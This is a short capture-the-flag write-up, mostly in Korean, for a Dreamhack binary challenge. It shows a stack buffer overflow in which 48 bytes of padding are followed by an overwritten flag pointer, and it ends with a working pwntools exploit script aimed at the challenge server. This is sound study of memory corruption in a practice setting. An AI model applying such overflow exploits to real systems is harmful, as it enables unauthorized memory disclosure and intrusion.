mmapped
Overflow the length argument to mprotect so the real flag page is never protected before it is written out.
보호기법
소스 코드 보기
취약점 핵심은 여기입니다.
char buf[0x20]; // 32 bytes
read(0, buf, 60); // 최대 60 bytes 입력 → stack overflow
그리고 이후 흐름이 중요합니다.
mprotect(real_flag_addr, len, PROT_NONE);
write(1, fake_flag_addr, FLAG_SIZE);
즉, 우리가 해야 할 일은:
- fake_flag_addr 를 real flag mmap 주소로 덮기
- len 을 0으로 덮어서
mprotect(real_flag_addr, 0, PROT_NONE)가 실패하게 만들기 - 그러면 real flag 메모리는 계속 읽을 수 있고, write() 가 real flag 를 출력함
호스트가 맥이라 실행이 안 돼서 우분투로 옮겨서 진행했다. 메인 스택 프레임을 보기 위해 브레이크포인트를 걸고 x/20gx &buf 를 하려 했는데, 바이너리가 -g 없이 컴파일돼서 local variable 이름 정보가 없었다. 그래서 어셈블리어를 직접 보고 알아내기로 했다.
음,.//… fake_flag_addr 와 buf 시작 거리 = 0x30, 즉 48 bytes 임. 거리 계산:
fake_flag_addr - buf = (rbp - 0x10) - (rbp - 0x40) = 0x30
즉 buf 시작 + 0x30 = fake_flag_addr. 10진수로는 0x30 = 48 bytes.
from pwn import *
p = remote('host3.dreamhack.games', 21407)
p.recvuntil(b'): ')
real = int(p.recvline()[:-1], 16)
buf = b'A' * 0x30 + p64(real)
p.sendlineafter(b'input: ', buf)
p.interactive() 

